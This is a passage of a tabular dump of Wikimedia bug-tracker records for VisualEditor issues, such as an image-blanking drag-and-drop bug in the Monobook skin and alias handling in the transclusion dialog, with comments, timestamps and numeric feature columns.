- Click and drag the entire section, and drop it of before the ""Analysis"" section (Just drop it right before the A in that word, make sure the text entry | is displayed. The image itself will be gone. But for the fun part: Click anywhere on the editing canvas text.

Suddenly, your entire input screen will be white. What seems to happen is that the image is blanked (Replaced by a white square) and plastered full size all over the page. You can try to drag it away, but each time you try it will replace itself over the pages content.

https://en.wikipedia.org/wiki/File:Visual_Editor_-_Giant_White_Image.png contains a screenshot of the problem.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50643",High,80.0,1372922700,1375772188.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-a2cttzysu3oh2p7i6yls,task_description,resolved,True,c1,3,False,False,True,0,,1.3333333333333333,0.0,0.0,1.0,0.0,5.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,2.6666666666666665,0.3333333333333333,2.6666666666666665,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,12.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.6666666666666667,11.0,0.3333333333333333,2.6666666666666665,8.666666666666666,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,3.6666666666666665,7.333333333333333,2.6666666666666665,0.0,3.3333333333333335,0.0,3.6666666666666665,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,3.510548523206751,0.6540084388185654,"(Tested on Firefox 22, Monobook skin)

Steps to reproduce

- Go to the ""The Damned Thing (short story)"" page and edit it with the visual editor.
- Go to the ""Gothic elements"" selection, and select all the text from ""Gothic elements"" (Header) to ""inadequate."" (Last word of the section). This should also select the image.
- Click and drag the entire section, and drop it of before the ""Analysis"" section (Just drop it right before the A in that word, make sure the text entry | is displayed. The image itself will be gone. But for the fun part: Click anywhere on the editing canvas text.

Suddenly, your entire input screen will be white. What seems to happen is that the image is blanked (Replaced by a white square) and plastered full size all over the page. You can try to drag it away, but each time you try it will replace itself over the pages content.

URL contains a screenshot of the problem.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
231019,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"Chris: Good catch, thanks for finding that!

*** This bug has been marked as a duplicate of bug 50643 ***",,,1375772188,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.107142857142857,0.7857142857142857,"Chris: Good catch, thanks for finding that!

*** This bug has been marked as a duplicate of bug 50643 ***"
231016,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,I think this duplicates bug 50643,,,1375716716,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,I think this duplicates bug 50643
231011,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"Drag and drop is disabled for only text content, however drag and drop is allowed (in monobook) when an image and something else are selected, and the result is nasty.",,,1374476411,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,False,,,3,,0.0,3.0,0.0,6.0,0.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,3.0,3.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.942857142857143,0.8,"Drag and drop is disabled for only text content, however drag and drop is allowed (in monobook) when an image and something else are selected, and the result is nasty."
231006,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"Drag and drop should be disabled, but cant find the bug for it.

I cant reproduce the problem at the mentioned page on Firefox 22 (Win or Linux) using Vector, but goodness me I can reproduce this when I use monobook skin.

https://en.wikipedia.org/wiki/The_Damned_Thing_%28short_story%29?veaction=edit

(page hasnt changed since the bug was raised :/)",,,1374475185,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,3.0,6.0,8.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,6.0,8.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.4545454545454546,0.7272727272727273,"Drag and drop should be disabled, but cant find the bug for it.

I cant reproduce the problem at the mentioned page on Firefox 22 (Win or Linux) using Vector, but goodness me I can reproduce this when I use monobook skin.

URL

(page hasnt changed since the bug was raised :/)"
52717,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,"Note that this is not the same as bug 50715. Though they behave the same from the user point of view, bug 50715 is for a case where aliases are not in play.

e.g. given our Unsigned template with parameter ""user"", ""timestamp"" and aliases ""1"" and ""2"" respectively.

Having added ""mw.log('addParameterSearch-select', name, names);"" to ve.ui.MWTransclusionDialog#getTemplatePage in the select event handler of the addParameterSearch object; editing the following invocations:

 case {{Unsigned|Foo|April 1}}
 case {{Unsigned|1=Foo|2=April 1}}
    typing ""1""
    >  addParameterSearch-select null [""1"", ""2""]
    >  addParameterSearch-select ""user"" [""1"", ""2""]
    > ""Add"" is enabled
    typing ""user""
    >  addParameterSearch-select null [""1"", ""2""]
    >  addParameterSearch-select ""user"" [""1"", ""2""]
    > ""Add"" is enabled

 case {{Unsigned|user=Foo|timestamp=April 1}}
    typing ""1""
    >  addParameterSearch-select null [""date"", ""user""]
    >  addParameterSearch-select 1 [""date"", ""user""]
    > ""Add"" is enabled
    typing ""user""
    >  addParameterSearch-select null [""date"", ""user""]
    >  addParameterSearch-select null [""date"", ""user""] 
    > ""Add"" is disabled

The latter case actually works as expected, although it is odd that the value given to the select callback is null and not ""user"" and that the button is already disabled (probably by the select widget?).

Also weird that the callback is constantly triggered twice, once for null and once for the actual value.

Anyway, the solution is to resolve the names to their alias origins before doing the names.indexOf( name ) check.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372913640,1373497400.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-xwzbnkc2eempknw62ukj,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.3333333333333333,1.0,6.0,2.3333333333333335,0.0,0.6666666666666666,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,8.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,16.333333333333332,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,6.0,2.6666666666666665,9.666666666666666,2.3333333333333335,1.6666666666666667,6.333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.0,0.0,1.3333333333333333,8.0,5.333333333333333,0.3333333333333333,7.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,3.8746298893563966,0.5325307776219418,"Note that this is not the same as bug 50715. Though they behave the same from the user point of view, bug 50715 is for a case where aliases are not in play.

e.g. given our Unsigned template with parameter ""user"", ""timestamp"" and aliases ""1"" and ""2"" respectively.

Having added ""mw.log('addParameterSearch-select', name, names);"" to ve.ui.MWTransclusionDialog#getTemplatePage in the select event handler of the addParameterSearch object; editing the following invocations:

 case {{Unsigned|Foo|April 1}}
 case {{Unsigned|1=Foo|2=April 1}}
    typing ""1""
QUOTE
QUOTE
QUOTE
    typing ""user""
QUOTE
QUOTE
QUOTE

 case {{Unsigned|user=Foo|timestamp=April 1}}
    typing ""1""
QUOTE
QUOTE
QUOTE
    typing ""user""
QUOTE
QUOTE
QUOTE

The latter case actually works as expected, although it is odd that the value given to the select callback is null and not ""user"" and that the button is already disabled (probably by the select widget?).

Also weird that the callback is constantly triggered twice, once for null and once for the actual value.

Anyway, the solution is to resolve the names to their alias origins before doing the names.indexOf( name ) check.

--------------------------
**Version**: unspecified
**Severity**: normal"
255886,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.,,,1373497400,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.
255880,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,"Change 73010 merged by jenkins-bot:
Retain original param names and ignore leading/trailing whitespace

https://gerrit.wikimedia.org/r/73010",,,1373497076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 73010 merged by jenkins-bot:
Retain original param names and ignore leading/trailing whitespace

GERRIT_URL"
255874,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,"Change 73010 had a related patch set uploaded by Trevor Parscal:
Retain original param names and ignore leading/trailing whitespace

https://gerrit.wikimedia.org/r/73010",,,1373483212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,5.04,1.0,"Change 73010 had a related patch set uploaded by Trevor Parscal:
Retain original param names and ignore leading/trailing whitespace

GERRIT_URL"
255867,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,Working on this.,,,1372913735,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.5,1.0,Working on this.
52692,VisualEditor: Binding of section edit link should not be deferred to after document is loaded,"Split from bug 50540 which is entirely different. :-)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372883340,1376520602.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-j2nulhpv4byjb3fgfm3a,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.178571428571429,0.6785714285714286,"Split from bug 50540 which is entirely different. :-)

--------------------------
**Version**: unspecified
**Severity**: normal"
254381,VisualEditor: Binding of section edit link should not be deferred to after document is loaded,This was done as part of the changed integration at the beginning of the month.,,,1376520602,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-j2nulhpv4byjb3fgfm3a,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0625,0.8125,This was done as part of the changed integration at the beginning of the month.
52687,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Copying from English Wikipedia:

Okay, this one is probably quite tricky: When editing the source code, if an edit conflict arises, you can simply hit the back button, copy the code, and paste it into the updated version. However, with the Visual Editor, this is no longer possible. The content goes away, so you have to re-add it all, which is a huge pain if it involves references and other templates.--¿3family6 contribs 18:25, 3 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47779
https://bugzilla.wikimedia.org/show_bug.cgi?id=52519
https://bugzilla.wikimedia.org/show_bug.cgi?id=56465",High,80.0,1372878900,1383257358.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-x7aj5blwrrol3b4wt6un,task_description,resolved,True,c1,3,False,False,False,0,,1.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,5.0,1.0,2.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,4.5,2.0,11.5,2.0,1.5,7.0,0.0,0.0,0.0,0.0,4.0,0.5,2.5,0.0,3.5,4.5,6.0,0.0,0.0,0.0,3.5,0.0,1.5,1.5,0.0,1.0,0.5,0.0,0.0,3.671875,0.703125,"Copying from English Wikipedia:

Okay, this one is probably quite tricky: When editing the source code, if an edit conflict arises, you can simply hit the back button, copy the code, and paste it into the updated version. However, with the Visual Editor, this is no longer possible. The content goes away, so you have to re-add it all, which is a huge pain if it involves references and other templates.--¿3family6 contribs 18:25, 3 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL"
254112,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,*** Bug 52950 has been marked as a duplicate of this bug. ***,,,1393526106,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52950 has been marked as a duplicate of this bug. ***
254107,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Just noting that this was broken in Firefox for a few weeks after launch due to bug 56767, which has now been fixed, and I have disabled my switch editor.",,,1387332793,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,24,,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,18.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.787878787878788,0.9696969696969697,"Just noting that this was broken in Firefox for a few weeks after launch due to bug 56767, which has now been fixed, and I have disabled my switch editor."
254100,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,verified in betalabs env,,,1383337965,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,verified in betalabs env
254092,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 83049 merged by jenkins-bot:
Button tool to switch to edit source with changes

https://gerrit.wikimedia.org/r/83049",,,1383241787,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,20.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.95,"Change 83049 merged by jenkins-bot:
Button tool to switch to edit source with changes

GERRIT_URL"
254087,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 92913 merged by Catrope:
Button tool to switch to edit source with changes

https://gerrit.wikimedia.org/r/92913",,,1383241777,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,22.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9444444444444444,"Change 92913 merged by Catrope:
Button tool to switch to edit source with changes

GERRIT_URL"
254081,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 92913 had a related patch set uploaded by Catrope:
Button tool to switch to edit source with changes

https://gerrit.wikimedia.org/r/92913",,,1383241700,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,0.9565217391304348,"Change 92913 had a related patch set uploaded by Catrope:
Button tool to switch to edit source with changes

GERRIT_URL"
254074,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"The patch was -2'd pending a rewrite of the toolbar. Although the button works, we have no sensible place to put it until those changes are finished. At the time that was supposed to be a few days, so apologies for the delay, but that work is nearly complete now.",,,1380708262,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,True,,,13,,2.0,0.0,0.0,4.0,0.0,5.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,9.0,5.0,4.0,2.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.8214285714285716,0.8035714285714286,"The patch was -2'd pending a rewrite of the toolbar. Although the button works, we have no sensible place to put it until those changes are finished. At the time that was supposed to be a few days, so apologies for the delay, but that work is nearly complete now."
254068,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"btw I found this was requested back in April 2013

https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_04#London_Underground_article

